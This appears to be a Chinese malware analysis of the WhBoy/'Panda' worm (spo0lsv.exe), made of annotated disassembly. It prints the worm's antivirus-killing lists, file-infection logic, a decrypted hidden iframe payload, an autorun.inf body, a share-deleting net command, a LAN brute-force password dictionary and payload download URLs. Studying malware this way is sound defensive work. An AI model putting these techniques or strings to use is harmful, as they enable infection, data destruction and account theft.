00408958 mov eax,GameSetu.00409170 ASCII "Documents and Settings"
00408992 mov eax,GameSetu.00409190 ASCII "System Volume Information"
004089CC mov eax,GameSetu.004091B4 ASCII "Recycled"
00408A06 mov eax,GameSetu.004091C8 ASCII "Windows NT"
00408A40 mov eax,GameSetu.004091DC ASCII "WindowsUpdate"
00408A7A mov eax,GameSetu.004091F4 ASCII "Windows Media Player"
00408AB4 mov eax,GameSetu.00409214 ASCII "Outlook Express"
00408AEE mov eax,GameSetu.0040922C ASCII "Internet Explorer"
00408B28 mov eax,GameSetu.00409248 ASCII "NetMeeting"
00408B62 mov eax,GameSetu.0040925C ASCII "Common Files"
00408B9C mov eax,GameSetu.00409274 ASCII "ComPlus Applications"
00408BD6 mov eax,GameSetu.0040925C ASCII "Common Files"
00408C10 mov eax,GameSetu.00409294 ASCII "Messenger"
00408C4A mov eax,GameSetu.004092A8 ASCII "InstallShield Installation Information"
00408C84 mov eax,GameSetu.004092D8 ASCII "MSN"
00408CBE mov eax,GameSetu.004092E4 ASCII "Microsoft Frontpage"
00408CF8 mov eax,GameSetu.00409300 ASCII "Movie Maker"
00408D32 mov eax,GameSetu.00409314 ASCII "MSN Gamin Zone"
00408D6F push GameSetu.0040932C ASCII "\Desktop_.ini"
00408DA0 push GameSetu.0040932C ASCII "\Desktop_.ini"
00408E6D push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F0E push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F3C push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F7C push GameSetu.0040932C ASCII "\Desktop_.ini"
0040901D push GameSetu.0040932C ASCII "\Desktop_.ini"
0040904B push GameSetu.0040932C ASCII "\Desktop_.ini"
004093B8 mov ecx,GameSetu.0040A1BC ASCII "*.*"
0040940A mov eax,GameSetu.0040A1C8 ASCII "WINDOWS"
00409444 mov eax,GameSetu.0040A1D8 ASCII "WINNT"
0040947E mov eax,GameSetu.0040A1E8 ASCII "system32"
004094B8 mov eax,GameSetu.0040A1FC ASCII "Documents and Settings"
004094F2 mov eax,GameSetu.0040A21C ASCII "System Volume Information"
0040952C mov eax,GameSetu.0040A240 ASCII "Recycled"
00409566 mov eax,GameSetu.0040A254 ASCII "Windows NT"
004095A0 mov eax,GameSetu.0040A268 ASCII "WindowsUpdate"
004095DA mov eax,GameSetu.0040A280 ASCII "Windows Media Player"
00409614 mov eax,GameSetu.0040A2A0 ASCII "Outlook Express"
0040964E mov eax,GameSetu.0040A2B8 ASCII "Internet Explorer"
00409688 mov eax,GameSetu.0040A2D4 ASCII "NetMeeting"
004096C2 mov eax,GameSetu.0040A2E8 ASCII "Common Files"
004096FC mov eax,GameSetu.0040A300 ASCII "ComPlus Applications"
00409736 mov eax,GameSetu.0040A2E8 ASCII "Common Files"
00409770 mov eax,GameSetu.0040A320 ASCII "Messenger"
004097AA mov eax,GameSetu.0040A334 ASCII "InstallShield Installation Information"
004097E4 mov eax,GameSetu.0040A364 ASCII "MSN"
0040981E mov eax,GameSetu.0040A370 ASCII "Microsoft Frontpage"
00409858 mov eax,GameSetu.0040A38C ASCII "Movie Maker"
00409892 mov eax,GameSetu.0040A3A0 ASCII "MSN Gamin Zone"
004098CF push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409900 push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
004099CD push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409A6E push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409A9C push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409ADC push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409B7D push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409BAB push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409C33 mov edx,GameSetu.0040A3DC ASCII "GHO"
00409C94 mov eax,GameSetu.0040A3E8 ASCII "setup.exe"
00409CCE mov eax,GameSetu.0040A3FC ASCII "NTDETECT.COM"
00409D31 mov eax,GameSetu.0040A414 ASCII "EXE"
00409D97 mov eax,GameSetu.0040A420 ASCII "SCR"
00409DFD mov eax,GameSetu.0040A42C ASCII "PIF"
00409E63 mov eax,GameSetu.0040A438 ASCII "COM"
00409EC9 mov eax,GameSetu.0040A444 ASCII "htm"
00409F2F mov eax,GameSetu.0040A450 ASCII "html"
00409F95 mov eax,GameSetu.0040A460 ASCII "asp"
00409FFB mov eax,GameSetu.0040A46C ASCII "php"
0040A061 mov eax,GameSetu.0040A478 ASCII "jsp"
0040A0C7 mov eax,GameSetu.0040A484 ASCII "aspx"
0040A544 mov edx,GameSetu.0040A5AC ASCII ":\"
0040AA73 push GameSetu.0040AD64 ASCII "GameSetup.exe"
0040AA99 push GameSetu.0040AD7C ASCII "drivers\"
0040AA9E push GameSetu.0040AD90 ASCII "spo0lsv.exe"
0040AB44 push GameSetu.0040AD64 ASCII "GameSetup.exe"
0040AC6B mov eax,GameSetu.0040ADA4 ASCII "admin$"
0040B913 mov edx,GameSetu.0040BA14 ASCII "\\"
0040B9AB mov edx,GameSetu.0040BA14 ASCII "\\"
0040BA25 push GameSetu.0040BA68 ASCII "NetShareEnum"
0040BA35 push GameSetu.0040BA78 ASCII "NetApiBufferFree"
0040BA45 push GameSetu.0040BA68 ASCII "NetShareEnum"
0040BCB9 mov ecx,GameSetu.0040BD30 ASCII ":\"
0040BF9F mov ecx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040BFC4 mov ecx,GameSetu.0040C308 ASCII ":\autorun.inf"
0040C05B mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C0BA mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C11D mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C19A mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C20F mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C253 mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C528 mov edx,GameSetu.0040C5D8 ASCII "xboy"
0040C60C mov edx,GameSetu.0040C720 ASCII "QQ"
0040C625 push GameSetu.0040C724 ASCII "QQ"
0040C777 mov edx,GameSetu.0040C9A0 ASCII "QQ"
0040C793 mov eax,GameSetu.0040C9AC ASCII "
"
0040C7AC mov eax,GameSetu.0040C9AC ASCII "
"
0040C7CD mov eax,GameSetu.0040C9AC ASCII "
"
0040C9FF mov edx,GameSetu.0040CC24 ASCII "QQ"
0040CA1B mov eax,GameSetu.0040CC30 ASCII "
"
0040CA34 mov eax,GameSetu.0040CC30 ASCII "
"
0040CA55 mov eax,GameSetu.0040CC30 ASCII "
"
0040CE1D push GameSetu.0040CE94 ASCII "cmd.exe /c net share "
0040CE34 push GameSetu.0040CEB4 ASCII "$ /del /y"
0040CE5B push GameSetu.0040CEC0 ASCII "cmd.exe /c net share admin$ /del /y"
0040CF09 push GameSetu.0040CF7C ASCII "drivers\"
0040CF0E push GameSetu.0040CF90 ASCII "spo0lsv.exe"
0040CF29 mov ecx,GameSetu.0040CF9C ASCII "svcshare"
0040CF2E mov edx,GameSetu.0040CFA8 ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
0040CF3F mov edx,GameSetu.0040CFE0 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
0040D04E push GameSetu.0040CC34 ASCII "QTj"
0040D0C6 push GameSetu.0040D048 ASCII "QTj"
0040D0DE push GameSetu.00407430 ASCII "QTj"
0040D278 push ebp (初始 CPU 选择)
0040D5D6 mov edx,GameSetu.0040D890 ASCII "xboy"
0040D600 mov edx,GameSetu.0040D8CC ASCII "whboy"
2.静态分析:按字符串参考顺序
2.1 关闭包含字符串的窗口:
建立线程:
00406E2C 51 push ecx
00406E2D 54 push esp
00406E2E 6A 00 push 0
00406E30 6A 00 push 0
00406E32 68 B8614000 push GameSetu.004061B8 ; 执行主体
00406E37 6A 00 push 0
00406E39 6A 00 push 0
00406E3B E8 BCDCFFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
00406E40 5A pop edx
00406E41 C3 retn
用到的函数:
004061E3 E8 2CEAFFFF call GameSetu.00404C14 ; jmp to user32.GetDesktopWindow
004061F0 E8 17EAFFFF call GameSetu.00404C0C ; jmp to user32.FindWindowExA
004061FB E8 24EAFFFF call GameSetu.00404C24 ; jmp to user32.GetWindowTextA
00406227 E8 10EAFFFF call GameSetu.00404C3C ; jmp to user32.PostMessageA
示例过程:
0040648C 6A 00 push 0
0040648E 6A 00 push 0
00406490 6A 12 push 12
00406492 53 push ebx
00406493 E8 A4E7FFFF call <jmp.&user32.PostMessageA>
00406498 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-A4]
0040649E 8BD6 mov edx,esi
004064A0 B9 65000000 mov ecx,65
004064A5 E8 0ADAFFFF call dumped_.00403EB4
004064AA 8B95 5CFFFFFF mov edx,dword ptr ss:[ebp-A4]
004064B0 B8 B46A4000 mov eax,dumped_.00406AB4 ; ASCII "Symantec AntiVirus"
004064B5 E8 FADCFFFF call dumped_.004041B4
004064BA 85C0 test eax,eax
004064BC 74 0C je short dumped_.004064CA
字符串基本针对杀软,包括:
防火墙;VirusScan;NOD32;网镖;杀毒;毒霸;瑞星;超级兔子;
优化大师;木马清道夫;木馬清道夫;卡巴斯基反病毒;
Symantec AntiVirus;Duba;esteem procs;绿鹰PC;
密码防盗;噬菌体;木马辅助查找器;System Safety Monitor;
Wrapped gift Killer;Winsock Expert;游戏木马检测大师;
超级巡警;IceSword;msctls_statusbar32;pjf(ustc).
2.2 结束进程:
00406826 B8 FC6B4000 mov eax,dumped_.00406BFC ; ASCII "Mcshield.exe"
0040682B E8 94F7FFFF call dumped_.00405FC4
一个个进程枚举比较:
00406091 8B95 C8FEFFFF mov edx,dword ptr ss:[ebp-138]
00406097 58 pop eax
00406098 E8 7BDFFFFF call dumped_.00404018 ; 比较
0040609D 75 12 jnz short dumped_.004060B1 ; 不是继续
0040609F 8B43 08 mov eax,dword ptr ds:[ebx+8]
004060A2 E8 FDFEFFFF call dumped_.00405FA4
004060A7 8BD8 mov ebx,eax
004060A9 56 push esi
004060AA E8 2DEAFFFF call <jmp.&kernel32.CloseHandle> ; 关闭
004060AF EB 1F jmp short dumped_.004060D0
进程包括:
杀软:
Mcshield.exe;VsTskMgr.exe;naPrdMgr.exe;UpdaterUI.exe;TBMon.exe;scan32.exe;
Ravmond.exe;CCenter.exe;RavTask.exe;Rav.exe;Ravmon.exe;RavmonD.exe;RavStub.exe;
KVXP.kxp;KvMonXP.kxp;KVCenter.kxp;KVSrvXP.exe;KRegEx.exe;
UIHost.exe;TrojDie.kxp;FrogAgent.exe;
Viking:
Logo1_.exe;Logo_1.exe;Rundl132.exe;
Windows:
regedit.exe;msconfig.exe;taskmgr.exe.
2.3 关闭或删除服务:
间隔6s尝试关闭或删除服务.
0040D0D9 A3 B8E24000 mov dword ptr ds:[40E2B8],eax
0040D0DE 68 30744000 push GameSetu.00407430 ; ASCII "QTj",执行地址
0040D0E3 68 70170000 push 1770 ; 时间,6000ms
0040D0E8 6A 00 push 0
0040D0EA 6A 00 push 0
0040D0EC E8 537BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
00407430 51 push ecx
00407431 54 push esp
00407432 6A 00 push 0
00407434 6A 00 push 0
00407436 68 446E4000 push GameSetu.00406E44 ; 执行主体
0040743B 6A 00 push 0
0040743D 6A 00 push 0
0040743F E8 B8D6FFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
00407444 5A pop edx
00407445 C3 retn
00406E44 B8 14704000 mov eax,GameSetu.00407014 ; ASCII "Schedule"
00406E49 E8 6EEDFFFF call GameSetu.00405BBC
00405BE6 E8 89FFFFFF call <jmp.&advapi32.OpenSCManagerA>
00405BFC E8 7BFFFFFF call <jmp.&advapi32.OpenServiceA>
00405C0A E8 55FFFFFF call <jmp.&advapi32.ControlService>
00405C10 E8 47FFFFFF call <jmp.&advapi32.CloseServiceHandle>
00405C16 E8 41FFFFFF call <jmp.&advapi32.CloseServiceHandle>
服务基本都是杀软,有:
Schedule;sharedaccess;RsCCenter;
KVWSC;KVSrvXP;kavsvc;AVP;
McAfeeFramework;McShield;McTaskManager;
navapsvc;wscsvc;KPfwSvc;SNDSrvc;
ccProxy;ccEvtMgr;ccSetMgr;
SPBBCSvc;Symantec Core LC;NPFMntor;
MskService;FireSvc;
涉及到的注册表项:
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"
2.4 自删除:文件名:数字随机+$$.bat
00407BB6 68 447E4000 push GameSetu.00407E44 ; ASCII "$$.bat"
00407E06 E8 C9CDFFFF call <jmp.&kernel32.WinExec> ; 运行删除
"D:\DOCUME~1\GaoJH\LOCALS~1\Temp\95$$.bat"
:try1
del "E:\GameSetup.exe"
if exist "E:\GameSetup.exe" goto try1
ren "E:\GameSetup.exe.exe" "GameSetup.exe"
if exist "E:\GameSetup.exe.exe" goto try2
"E:\GameSetup.exe"
:try2
del %0
2.5.拷贝病毒到特定文件夹
病毒会将自己复制到%SYSTEM32%DRIVERS目录下文件名为:spo0lsv.exe
判断当前spo0lsv.exe路径是否为:x:\winnt\system32\drivers,如果不是终止进程,拷贝病毒过去并执行:
00408329 68 B0874000 push GameSetu.004087B0 ; ASCII "drivers\"
0040832E 68 C4874000 push GameSetu.004087C4 ; ASCII "spo0lsv.exe"
...
0040836B E8 54DCFFFF call GameSetu.00405FC4 ; 终止进程
004060AA E8 2DEAFFFF call GameSetu.00404ADC ; jmp to KERNEL32.CloseHandle
00408414 E8 D3C6FFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
00408452 E8 7DC7FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
2.6 本地磁盘感染
除了盘符为A,B的磁盘;类型为DRIVE_REMOTE,DRIVE_FIXED的磁盘外,
病毒对系统中所有磁盘进行文件遍历感染.感染过的以Desktop_.ini标志.
某些系统文件夹不进行感染;
文件如果有gho扩展名的,删除;不感染文件大小超过10485760字节以上的;
某些文件也不感染.
004093B8 B9 BCA14000 mov ecx,GameSetu.0040A1BC ; ASCII "*.*" ; 所有文件
...
004093E3 8B85 A4FEFFFF mov eax,dword ptr ss:[ebp-15C] ; 循环开始处
004093E9 83E0 10 and eax,10
004093EC 83F8 10 cmp eax,10
004093EF 0F85 07080000 jnz GameSetu.00409BFC
...
00409404 8D95 84FEFFFF lea edx,dword ptr ss:[ebp-17C]
0040940A B8 C8A14000 mov eax,GameSetu.0040A1C8 ; ASCII "WINDOWS",不感染的文件夹名称
0040940F E8 08BEFFFF call GameSetu.0040521C
...
0040942C 8B95 80FEFFFF mov edx,dword ptr ss:[ebp-180]
00409432 58 pop eax
00409433 E8 E0ABFFFF call GameSetu.00404018 ; 是不是要屏蔽感染的文件夹
00409438 0F84 C70C0000 je GameSetu.0040A105 ; 是的话继续循环
...
00409900 68 B8A34000 push GameSetu.0040A3B8 ; ASCII "\Desktop_.ini",是否有感染标志
...
00409C2D 8B85 90FDFFFF mov eax,dword ptr ss:[ebp-270]
00409C33 BA DCA34000 mov edx,GameSetu.0040A3DC ; ASCII "GHO",是否是Gho扩展名
00409C38 E8 DBA3FFFF call GameSetu.00404018
00409C3D 75 25 jnz short GameSetu.00409C64
...
00409C5F E8 A0AEFFFF call GameSetu.00404B04 ; jmp to KERNEL32.DeleteFileA,删除gho文件.
...
00409C78 8B85 84FDFFFF mov eax,dword ptr ss:[ebp-27C]
00409C7E E8 99DCFFFF call GameSetu.0040791C
00409C83 3D 0000A000 cmp eax,0A00000 ; 如果不是gho文件,大于10485760字节的不感染.
00409C88 0F8D 70040000 jge GameSetu.0040A0FE
...
00409C8E 8D95 80FDFFFF lea edx,dword ptr ss:[ebp-280]
00409C94 B8 E8A34000 mov eax,GameSetu.0040A3E8 ; ASCII "setup.exe",不感染的文件
00409C99 E8 7EB5FFFF call GameSetu.0040521C
...
00409CC8 8D95 78FDFFFF lea edx,dword ptr ss:[ebp-288]
00409CCE B8 FCA34000 mov eax,GameSetu.0040A3FC ; ASCII "NTDETECT.COM",不感染的文件
00409CD3 E8 44B5FFFF call GameSetu.0040521C
...
00409D31 B8 14A44000 mov eax,GameSetu.0040A414 ; ASCII "EXE",感染类型
00409D97 B8 20A44000 mov eax,GameSetu.0040A420 ; ASCII "SCR"
00409DFD B8 2CA44000 mov eax,GameSetu.0040A42C ; ASCII "PIF"
00409E63 B8 38A44000 mov eax,GameSetu.0040A438 ; ASCII "COM"
00409EC9 B8 44A44000 mov eax,GameSetu.0040A444 ; ASCII "htm"
00409F2F B8 50A44000 mov eax,GameSetu.0040A450 ; ASCII "html"
00409F95 B8 60A44000 mov eax,GameSetu.0040A460 ; ASCII "asp"
00409FFB B8 6CA44000 mov eax,GameSetu.0040A46C ; ASCII "php"
0040A061 B8 78A44000 mov eax,GameSetu.0040A478 ; ASCII "jsp"
0040A0C7 B8 84A44000 mov eax,GameSetu.0040A484 ; ASCII "aspx"
...
0040A0FE 6A 14 push 14 ; 休息下
0040A100 E8 BFAAFFFF call GameSetu.00404BC4 ; jmp to KERNEL32.Sleep
0040A105 8D85 9CFEFFFF lea eax,dword ptr ss:[ebp-164]
0040A10B E8 70D4FFFF call GameSetu.00407580
0040A110 85C0 test eax,eax
0040A112 ^ 0F84 CBF2FFFF je GameSetu.004093E3 ; 继续循环感染
不感染的目录包括:
WINDOWS;WINNT;system32;Documents and Settings;System Volume Information;
Recycled;Windows NT;WindowsUpdate;Windows Media Player;Outlook Express;
Internet Explore;NetMeeting;ComPlus Applications;Messenger;
InstallShield Installation Information;MSN;Microsoft Frontpage;Movie Maker;
MSN Gamin Zone.
不感染的文件:
setup.exe;NTDETECT.COM.
感染文件类型:
ASCII "EXE";ASCII "SCR";ASCII "PIF";ASCII "COM";
ASCII "htm";ASCII "html";ASCII "asp";ASCII "php";ASCII "jsp";ASCII "aspx".
2.7 文件感染方式:
2.7.1 二进制可执行文件(后缀后为:EXE,SCR,PIF,COM):
将感染目标文件和病毒溶合成一个文件(被感染文件贴在病毒文件尾部)完成感染.
00409E95 E8 66E0FFFF call GameSetu.00407F00
00407FDE B8 5C814000 mov eax,GameSetu.0040815C ; ASCII "WhBoy"
...
00408031 E8 B6CAFFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
2.7.2 脚本类(后缀名为:htm,html,asp,php,jsp,aspx):
在这些脚本文件尾加上网站链接.
00409EFB E8 CCDAFFFF call GameSetu.004079CC
004079FF BA F47A4000 mov edx,dumped_.00407AF4 ; ASCII "Search"
00407A04 B8 047B4000 mov eax,dumped_.00407B04 ; ASCII "=nb{end''w{g>ispy>,.ps~*bb?2''gm.12&mmeb|''lwl''s``wi:&9&#ibmnlw<%4+:?.nb{end9"
00407A09 E8 42D8FFFF call dumped_.00405250 ; 解密
解密后为:
00CC0090 4A 00 00 00 3C 69 66 72 61 6D 65 20 73 72 63 3D J...<iframe src=
00CC00A0 68 74 74 70 3A 2F 2F 77 77 77 2E 61 63 38 36 2E http://www.ac86.
00CC00B0 63 6E 2F 36 36 2F 69 6E 64 65 78 2E 68 74 6D 20 cn/66/index.htm
00CC00C0 77 69 64 74 68 3D 22 30 22 20 68 65 69 67 68 74 width="0" height
00CC00D0 3D 22 30 22 3E 3C 2F 69 66 72 61 6D 65 3E 00 00 ="0"></iframe>..
2.8.局域网传播:
遍历用户所在局域网,连接上可用机器,复制病毒到指定目标,病毒名Gamesetup.exe,
然后添加远程任务,同时尝试弱口令对内网机器进行攻击.
整个代码过程:
0040A928 55 push ebp ; URLMON.702B0000
...
0040AA0C C745 D4 0500000>mov dword ptr ss:[ebp-2C],5
0040AA13 B8 F0E04000 mov eax,GameSetu.0040E0F0 ; 注意地址,字符串指针
0040AA18 8945 BC mov dword ptr ss:[ebp-44],eax ; 字符串指针保存
0040AA1B 8D55 B4 lea edx,dword ptr ss:[ebp-4C] ; 循环指针,开始处
0040AA1E 8B45 E0 mov eax,dword ptr ss:[ebp-20]
...
0040AA31 8B45 BC mov eax,dword ptr ss:[ebp-44]
0040AA34 FF30 push dword ptr ds:[eax]
0040AA36 8D45 B8 lea eax,dword ptr ss:[ebp-48] ; 目标1
0040AA39 BA 04000000 mov edx,4
0040AA3E E8 4995FFFF call GameSetu.00403F8C
0040AA43 8B55 B8 mov edx,dword ptr ss:[ebp-48]
0040AA46 8B45 FC mov eax,dword ptr ss:[ebp-4]
0040AA49 E8 7AFDFFFF call GameSetu.0040A7C8
0040AA4E 85C0 test eax,eax
0040AA50 0F84 4E020000 je GameSetu.0040ACA4
0040AA56 6A 00 push 0
0040AA58 8D55 AC lea edx,dword ptr ss:[ebp-54] ; 目标3
0040AA5B 8B45 E0 mov eax,dword ptr ss:[ebp-20]
0040AA5E E8 AD9BFFFF call GameSetu.00404610
...
0040AA6E 8B45 BC mov eax,dword ptr ss:[ebp-44]
0040AA71 FF30 push dword ptr ds:[eax]
0040AA73 68 64AD4000 push GameSetu.0040AD64 ; ASCII "GameSetup.exe"
0040AA78 8D45 B0 lea eax,dword ptr ss:[ebp-50] ; 目标2
0040AA7B BA 05000000 mov edx,5
0040AA80 E8 0795FFFF call GameSetu.00403F8C
0040AA85 8B45 B0 mov eax,dword ptr ss:[ebp-50]
0040AA88 E8 3F96FFFF call GameSetu.004040CC
...
0040AA99 68 7CAD4000 push GameSetu.0040AD7C ; ASCII "drivers\"
0040AA9E 68 90AD4000 push GameSetu.0040AD90 ; ASCII "spo0lsv.exe"
0040AAB9 E8 2EA0FFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
...
0040AB80 E8 83FAFFFF call GameSetu.0040A608 ; jmp to netapi32.NetRemoteTOD
0040AC07 E8 F4F9FFFF call GameSetu.0040A600 ; jmp to netapi32.NetScheduleJobAdd
...
0040AC6B B8 A4AD4000 mov eax,GameSetu.0040ADA4 ; ASCII "admin$"
0040AC70 E8 4BA4FFFF call GameSetu.004050C0
0040AC75 84C0 test al,al
0040AC77 75 2B jnz short GameSetu.0040ACA4
...
0040ACA4 8345 BC 04 add dword ptr ss:[ebp-44],4
0040ACA8 FF4D D4 dec dword ptr ss:[ebp-2C]
0040ACAB ^ 0F85 6AFDFFFF jnz GameSetu.0040AA1B ; 继续
dd 0040E0F0
0040E0F0 0040A828 GameSetu.0040A828 ; 以下为攻击目标
0040E0F4 0040A834 ASCII "\Documents and Settings\All Users\Start Menu\Programs\Startup\"
0040E0F8 0040A87C GameSetu.0040A87C
0040E0FC 0040A8C0 ASCII "\WINDOWS\Start Menu\Programs\Startup\"
0040E100 0040A8F0 ASCII "\WINNT\Profiles\All Users\Start Menu\Programs\Startup\"
0040E104 00000000
0040E108 0040ADB4 ASCII "1234" ; 以下为字典密码
0040E10C 0040ADC4 ASCII "password"
0040E110 0040ADD8 ASCII "6969"
0040E114 0040ADE8 ASCII "harley"
0040E118 0040ADF8 ASCII "123456"
0040E11C 0040AE08 ASCII "golf"
0040E120 0040AE18 ASCII "pussy"
0040E124 0040AE28 ASCII "mustang"
0040E128 0040AE38 ASCII "1111"
0040E12C 0040AE48 ASCII "shadow"
0040E130 0040AE58 ASCII "1313"
0040E134 0040AE68 ASCII "fish"
0040E138 0040AE78 ASCII "5150"
0040E13C 0040AE88 ASCII "7777"
0040E140 0040AE98 ASCII "qwerty"
0040E144 0040AEA8 ASCII "baseball"
0040E148 0040AEBC ASCII "2112"
0040E14C 0040AECC ASCII "letmein"
0040E150 0040AEDC ASCII "12345678"
0040E154 0040AEF0 ASCII "12345"
0040E158 0040AF00 ASCII "ccc"
0040E15C 0040AF0C ASCII "admin"
0040E160 0040AF1C ASCII "5201314"
0040E164 0040AF2C ASCII "qq520"
0040E168 0040AF3C GameSetu.0040AF3C
0040E16C 0040AF48 ASCII "12"
0040E170 0040AF54 ASCII "123"
0040E174 0040AF60 ASCII "1234567"
0040E178 0040AF70 ASCII "123456789"
0040E17C 0040AF84 ASCII "654321"
0040E180 0040AF94 ASCII "54321"
0040E184 0040AFA4 ASCII "111"
0040E188 0040AFB0 ASCII "000000"
0040E18C 0040AFC0 ASCII "abc"
0040E190 0040AFCC ASCII "pw"
0040E194 0040AFD8 ASCII "11111111"
0040E198 0040AFEC ASCII "88888888"
0040E19C 0040B000 ASCII "pass"
0040E1A0 0040B010 ASCII "passwd"
0040E1A4 0040B020 ASCII "database"
0040E1A8 0040B034 ASCII "abcd"
0040E1AC 0040B044 ASCII "abc123"
0040E1B0 0040B000 ASCII "pass"
0040E1B4 0040B054 ASCII "sybase"
0040E1B8 0040B064 ASCII "123qwe"
0040E1BC 0040B074 ASCII "server"
0040E1C0 0040B084 ASCII "computer"
0040E1C4 0040B098 ASCII "520"
0040E1C8 0040B0A4 ASCII "super"
0040E1CC 0040B0B4 ASCII "123asd"
0040E1D0 0040B0C4 GameSetu.0040B0C4
0040E1D4 0040B0D0 ASCII "ihavenopass"
0040E1D8 0040B0E4 ASCII "godblessyou"
0040E1DC 0040B0F8 ASCII "enable"
0040E1E0 0040B108 ASCII "xp"
0040E1E4 0040B114 ASCII "2002"
0040E1E8 0040B124 ASCII "2003"
0040E1EC 0040B134 ASCII "2600"
0040E1F0 0040B144 ASCII "alpha"
0040E1F4 0040B154 ASCII "110"
0040E1F8 0040B160 ASCII "111111"
0040E1FC 0040B170 ASCII "121212"
0040E200 0040B180 ASCII "123123"
0040E204 0040B190 ASCII "1234qwer"
0040E208 0040B1A4 ASCII "123abc"
0040E20C 0040B1B4 ASCII "007"
0040E210 0040B1C0 GameSetu.0040B1C0
0040E214 0040B1CC ASCII "aaa"
0040E218 0040B1D8 ASCII "patrick"
0040E21C 0040B1E8 ASCII "pat"
0040E220 0040B1F4 ASCII "administrator"
0040E224 0040B20C ASCII "root"
0040E228 0040B21C ASCII "sex"
0040E22C 0040B228 ASCII "god"
0040E230 0040B234 ASCII "fuckyou"
0040E234 0040B244 ASCII "fuck"
0040E238 0040AFC0 ASCII "abc"
0040E23C 0040B254 ASCII "test"
0040E240 0040B264 ASCII "test123"
0040E244 0040B274 ASCII "temp"
0040E248 0040B284 ASCII "temp123"
0040E24C 0040B294 ASCII "win"
0040E250 0040B2A0 ASCII "pc"
0040E254 0040B2AC ASCII "asdf"
0040E258 0040B2BC ASCII "pwd"
0040E25C 0040B2C8 ASCII "qwer"
0040E260 0040B2D8 ASCII "yxcv"
0040E264 0040B2E8 ASCII "zxcv"
0040E268 0040B2F8 ASCII "home"
0040E26C 0040B308 ASCII "xxx"
0040E270 0040B314 ASCII "owner"
0040E274 0040B324 ASCII "login"
0040E278 0040B334 ASCII "Login"
0040E27C 0040B344 ASCII "pw123"
0040E280 0040B354 ASCII "love"
0040E284 0040B364 ASCII "mypc"
0040E288 0040B374 ASCII "mypc123"
0040E28C 0040B384 ASCII "admin123"
0040E290 0040B398 ASCII "mypass"
0040E294 0040B3A8 ASCII "mypass123"
0040E298 0040B3BC ASCII "901100"
0040E29C 0040B3CC ASCII "Administrator"
0040E2A0 0040B3E4 ASCII "Guest"
0040E2A4 0040B3F4 ASCII "admin"
0040E2A8 0040B404 ASCII "Root"
2.9 复制病毒到根目录,生成autorun.inf:
病毒建立一个计时器以,6秒为周期在磁盘的根目录下生成setup.exe,
并利用AutoRun Open关联,使病毒在用户点击被感染磁盘时能被自动运行.
0040C374 68 7CBE4000 push GameSetu.0040BE7C ; 执行主体
0040C379 68 70170000 push 1770 ; 时间6000ms
0040C37E 6A 00 push 0
0040C380 6A 00 push 0
0040C382 E8 BD88FFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
将病毒复制到各分区下命名为setup.exe,建立autorun.inf:
0040BEC6 E8 BDFDFFFF call GameSetu.0040BC88
0040BCCC E8 7B8EFFFF call GameSetu.00404B4C ; jmp to KERNEL32.GetDriveTypeA
0040BF9F B9 F4C24000 mov ecx,GameSetu.0040C2F4 ; ASCII ":\setup.exe"
0040BFC4 B9 08C34000 mov ecx,GameSetu.0040C308 ; ASCII ":\autorun.inf"
0040C08A E8 5D8AFFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
0040C11D BA 20C34000 mov edx,GameSetu.0040C320 ; ASCII "[AutoRun]
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
2.10 下载其他病毒盗取QQ:
病毒会以xx分钟为周期尝试读取特定网站上的下载文件列表,
比如:"hxxp://www.ac86.cn/66/up.txt",hxxp://update.whboy.net/worm.txt
并根据文件列表指定的文件下载,并启动这些程序.
2.10.1 Timer=20min
0040D0A9 A3 B0E24000 mov dword ptr ds:[40E2B0],eax
0040D0AE 68 40D04000 push GameSetu.0040D040 ; 执行地址
0040D0B3 68 804F1200 push 124F80 ; 时间
0040D0B8 6A 00 push 0
0040D0BA 6A 00 push 0
0040D0BC E8 837BFFFF call <jmp.&user32.SetTimer>
